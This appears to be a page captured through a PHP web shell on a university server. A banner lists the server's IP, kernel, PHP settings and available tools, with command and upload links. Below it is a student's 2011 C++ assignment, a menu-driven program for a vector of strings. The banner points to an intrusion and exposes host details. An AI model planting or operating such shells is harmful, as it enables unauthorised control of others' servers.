Server IP : 172.16.15.8 / Your IP : 3.143.214.226 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/kebuck/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS 212 Computer Programming II Assignment 5 // Due: Monday March 28, 2011 // // File: homework5.cpp // Author: Katie Buck // Instructor: Dr. Wang // // Compile: g++ homework5.cpp // Run: ./a.out // // Goal: The goal of this program is to use a vector class // to prompt a menu and ask the user to input operations. // #include <iostream> #include <vector> using namespace std; void menu() { cout << " String List Operations \n"; cout << "========================================\n"; cout << "I Insert a string to the list\n"; cout << "F Find out if the item is in the list\n"; cout << "R Remove the last item\n"; cout << "V Reverse the order of the list\n"; cout << "S Sort the list to ascending order\n"; cout << "D Sort the list to descending order\n"; cout << "P Print the string list\n"; cout << "Q Quit the operation\n"; cout << "---------------------------------------\n"; cout << " Which operation do you choose? "; } int main() { vector<string> v; char op; string item; menu(); cin >> op; while(toupper(op) != 'Q') { if (toupper(op) == 'I') { // I - Insert a string into the list cout << "Please input the string: "; cin >> item; v.push_back( item ); } else if(toupper(op) == 'P') { // P - Print the string list cout << "The list is: "; for(int i=0; i<v.size(); i++) cout << v[i] << " "; cout << "\n\n"; } else if(toupper(op) == 'V') { // V - Reverse the Order reverse(v.begin(), v.end() ); cout << "The list reversed is: "; for(int i=0; i<v.size(); i++) cout << v[i] << " "; cout << "\n\n"; } else if(toupper(op) == 'S') { // S - Sort to ascending order sort(v.begin(), v.end() ); cout << "The list in ascending order is: "; for(int i=0; i<v.size(); i++) cout << v[i] << " "; cout << "\n\n"; } else if(toupper(op) == 'D') { // D - Sort to descending order sort(v.begin(), v.end(), greater<string>() ); cout << "The list in descending order is: "; for(int i=0; i<v.size(); i++) cout << v[i] << " "; cout << "\n\n"; } else if(toupper(op) == 'F') { // F - Find out if the item is in the list bool found = false; cout << "Input the item you want to look for: "; cin >> item; for(int i=0; i<v.size() && !found; i++ ) { if ( item == v[i] ) found = true; } if( found ) cout << "\n" << item << " is in the list.\n"; else cout << "\n" << item << " is not in the list.\n"; } else if(toupper(op) == 'R') { // R - Remove the last item v.pop_back (); cout << "The list is now: "; for(int i=0; i<v.size(); i++) cout << v[i] << " "; cout << "\n\n"; } menu(); cin >> op; } return 0; }